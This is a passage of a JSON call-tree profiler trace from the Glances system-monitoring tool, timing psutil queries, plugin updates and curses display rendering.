\"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999357003427576, \"l347\": 0.007999357003427576},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999357003427576, \"l394\": 0.007999357003427576},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999357003427576, \"l1593\": 0.007999357003427576},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.0039984280010685325, \"l1857\": 0.0039984280010685325},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.0039984280010685325, \"l1593\": 0.0039984280010685325},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.0039984280010685325, \"l375\": 0.0039984280010685325},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.0039984280010685325, \"l1683\": 0.001999322004849091, \"l1689\": 0.0019991059962194413},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.001999322004849091},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l718\": 0.001999322004849091},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.001999322004849091},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001214998017531, \"l1857\": 0.002001214998017531},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001214998017531, \"l1593\": 0.002001214998017531},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001214998017531, \"l375\": 0.002001214998017531},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001214998017531, \"l1683\": 0.002001214998017531},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.002001214998017531},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.002001214998017531},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004000,\"attributes\": {\"cGlancesProcesses\": 0.004000011998869013, \"l689\": 0.004000011998869013},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.004000,\"attributes\": {\"l589\": 0.004000011998869013},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.004000,\"attributes\": {\"l584\": 0.004000011998869013},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999945001443848, \"l155\": 0.001999945001443848},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.001999945001443848, \"l711\": 0.001999945001443848},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002000,\"attributes\": {\"l71\": 0.001999945001443848},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002000,\"attributes\": {\"l46\": 0.001999945001443848},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.002000,\"attributes\": {\"cCounter\": 0.001999945001443848, \"l614\": 0.001999945001443848},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007999,\"attributes\": {\"cProgramlistPlugin\": 0.007998543995199725, \"l678\": 0.007998543995199725},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999339001486078, \"l634\": 0.001999339001486078},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999339001486078, \"l628\": 0.001999339001486078},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019998889983980916, \"l633\": 0.0019998889983980916},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019998889983980916, \"l621\": 0.0019998889983980916},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002004,\"attributes\": {\"l1295\": 0.0020038920047227293},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000109\",\"time\": 0.002004,\"attributes\": {\"cNetworkPlugin\": 0.0020038920047227293, \"l116\": 0.0020038920047227293},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002004,\"attributes\": {\"cNetworkPlugin\": 0.0020038920047227293, \"l1351\": 0.0020038920047227293},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000130\",\"time\": 0.002004,\"attributes\": {\"cNetworkPlugin\": 0.0020038920047227293, \"l156\": 0.0020038920047227293},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002289\",\"time\": 0.002004,\"attributes\": {\"l2301\": 0.0020038920047227293},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000992\",\"time\": 0.002004,\"attributes\": {\"l999\": 0.0020038920047227293},\"children\": [{\"identifier\": \"net_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000945\",\"time\": 0.002004,\"attributes\": {\"l956\": 0.0020038920047227293},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.010008,\"attributes\": {\"cProcesslistPlugin\": 0.010008154997194652, \"l678\": 0.010008154997194652},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.010008,\"attributes\": {\"cProcesslistPlugin\": 0.010008154997194652, \"l633\": 0.006012612000631634, \"l656\": 0.001999487998546101, \"l634\": 0.001996054998016916},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004001,\"attributes\": {\"cProcesslistPlugin\": 0.004001314999186434, \"l621\": 0.0019996389964944683, \"l619\": 0.0020016760026919656},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001996,\"attributes\": {\"cProcesslistPlugin\": 0.001996054998016916, \"l629\": 0.001996054998016916},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002011,\"attributes\": {\"cProcesslistPlugin\": 0.0020112970014452003, \"l614\": 0.0020112970014452003},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002011,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.022093,\"attributes\": {\"cLoadPlugin\": 0.001996669998334255, \"l1278\": 0.022093494000728242, \"cFsPlugin\": 0.016538787000172306, \"cWifiPlugin\": 0.001591340005688835, \"cQuicklookPlugin\": 0.0019666969965328462},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.022093,\"attributes\": {\"l1299\": 0.001996669998334255, \"l1295\": 0.020096824002393987},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.016539,\"attributes\": {\"cFsPlugin\": 0.016538787000172306, \"l131\": 0.016538787000172306},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.016539,\"attributes\": {\"cFsPlugin\": 0.016538787000172306, \"l182\": 0.016538787000172306},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.016539,\"attributes\": {\"l630\": 0.003403852999326773, \"l631\": 0.013134934000845533},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003404,\"attributes\": {\"cForkProcess\": 0.003403852999326773, \"l121\": 0.003403852999326773},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003404,\"attributes\": {\"l281\": 0.003403852999326773},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003404,\"attributes\": {\"cPopen\": 0.003403852999326773, \"l20\": 0.003403852999326773},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003404,\"attributes\": {\"cPopen\": 0.003403852999326773, \"l70\": 0.003403852999326773},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003404,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.013135,\"attributes\": {\"cForkProcess\": 0.013134934000845533, \"l156\": 0.013134934000845533},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.013135,\"attributes\": {\"cPopen\": 0.013134934000845533, \"l41\": 0.013134934000845533},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.013135,\"attributes\": {\"l1165\": 0.011120290000690147, \"l1159\": 0.0020146440001553856},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005594,\"attributes\": {\"cPollSelector\": 0.005594481001025997, \"l398\": 0.005594481001025997},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005594,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005594,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"register\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000340\",\"time\": 0.002015,\"attributes\": {\"cPollSelector\": 0.0020146440001553856, \"l341\": 0.0020146440001553856},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002015,\"attributes\": {},\"children\": []}]},{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005526,\"attributes\": {\"cPollSelector\": 0.00552580899966415, \"l398\": 0.00552580899966415},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005526,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005526,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001591,\"attributes\": {\"cWifiPlugin\": 0.001591340005688835, \"l101\": 0.001591340005688835},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001591,\"attributes\": {\"cWifiPlugin\": 0.001591340005688835, \"l119\": 0.001591340005688835},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001591,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001967,\"attributes\": {\"cQuicklookPlugin\": 0.0019666969965328462, \"l134\": 0.0019666969965328462},\"children\": [{\"identifier\": \"zfs_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/zfs.py\\u000021\",\"time\": 0.001967,\"attributes\": {\"l26\": 0.0019666969965328462},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001967,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.063478,\"attributes\": {\"cGlancesCursesStandalone\": 2.0634784849971766, \"l1154\": 0.05189565700129606, \"l1169\": 1.0065532279913896, \"l1172\": 1.005029600004491},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051896,\"attributes\": {\"cGlancesCursesStandalone\": 0.05189565700129606, \"l1135\": 0.05189565700129606},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051896,\"attributes\": {\"cGlancesCursesStandalone\": 0.05189565700129606, \"l569\": 0.049895233001734596, \"l603\": 0.0020004239995614626},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049895,\"attributes\": {\"cGlancesCursesStandalone\": 0.049895233001734596, \"l545\": 0.049895233001734596},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049895,\"attributes\": {\"cProgramlistPlugin\": 0.02189493599871639, \"l1101\": 0.049895233001734596, \"cProcesslistPlugin\": 0.028000297003018204},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049895,\"attributes\": {\"cProgramlistPlugin\": 0.02189493599871639, \"l587\": 0.049895233001734596, \"cProcesslistPlugin\": 0.028000297003018204},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.049895,\"attributes\": {\"cProgramlistPlugin\": 0.02189493599871639, \"l538\": 0.04388651601038873, \"l544\": 0.004008264993899502, \"cProcesslistPlugin\": 0.028000297003018204, \"l541\": 0.002000451997446362},\"children\": [{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.001987,\"attributes\": {\"cProgramlistPlugin\": 0.001986616996873636, \"l375\": 0.001986616996873636},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001987,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002005,\"attributes\": {\"cProgramlistPlugin\": 0.0020045790006406605, \"l429\": 0.0020045790006406605},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002005,\"attributes\": {\"cProgramlistPlugin\": 0.0020045790006406605, \"l278\": 0.0020045790006406605},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001905,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000182001211215, \"l309\": 0.002000182001211215},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000182001211215, \"l885\": 0.002000182001211215},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000182001211215, \"l910\": 0.002000182001211215},\"children\": [{\"identifier\": \"set\\u0000/home/nicolargo/dev/glances/glances/actions.py\\u000049\",\"time\": 0.002000,\"attributes\": {\"cGlancesActions\": 0.002000182001211215, \"l51\": 0.002000182001211215},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002005,\"attributes\": {\"cProgramlistPlugin\": 0.0020047039943165146, \"l405\": 0.0020047039943165146},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001997992003452964, \"l325\": 0.001997992003452964},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001997992003452964, \"l882\": 0.001997992003452964},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001997992003452964, \"l902\": 0.001997992003452964},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.0019968420019722544, \"l428\": 0.0019968420019722544},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002011,\"attributes\": {\"cProgramlistPlugin\": 0.002011274002143182, \"l309\": 0.002011274002143182},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002011,\"attributes\": {\"cProgramlistPlugin\": 0.002011274002143182, \"l855\": 0.002011274002143182},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002011,\"attributes\": {\"cProgramlistPlugin\": 0.002011274002143182, \"l969\": 0.002011274002143182},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001980,\"attributes\": {\"cProgramlistPlugin\": 0.0019796880005742423, \"l405\": 0.0019796880005742423},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001980,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001980,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002394001465291, \"l325\": 0.002002394001465291},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002394001465291, \"l856\": 0.002002394001465291},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002002394001465291, \"l965\": 0.002002394001465291},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985210019513033, \"l429\": 0.0019985210019513033},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985210019513033, \"l1130\": 0.0019985210019513033},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.002005,\"attributes\": {\"cProcesslistPlugin\": 0.002004750997002702, \"l417\": 0.002004750997002702},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001995,\"attributes\": {\"cProcesslistPlugin\": 0.001994958998693619, \"l303\": 0.001994958998693619},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.001995,\"attributes\": {\"l242\": 0.001994958998693619},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000136002607178, \"l360\": 0.002000136002607178},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000136002607178, \"l340\": 0.002000136002607178},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994760004919954, \"l505\": 0.0019994760004919954},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"list.extend\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000591004616581, \"l429\": 0.002000591004616581},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000591004616581, \"l276\": 0.002000591004616581},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000591004616581, \"l963\": 0.002000591004616581},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001999,\"attributes\": 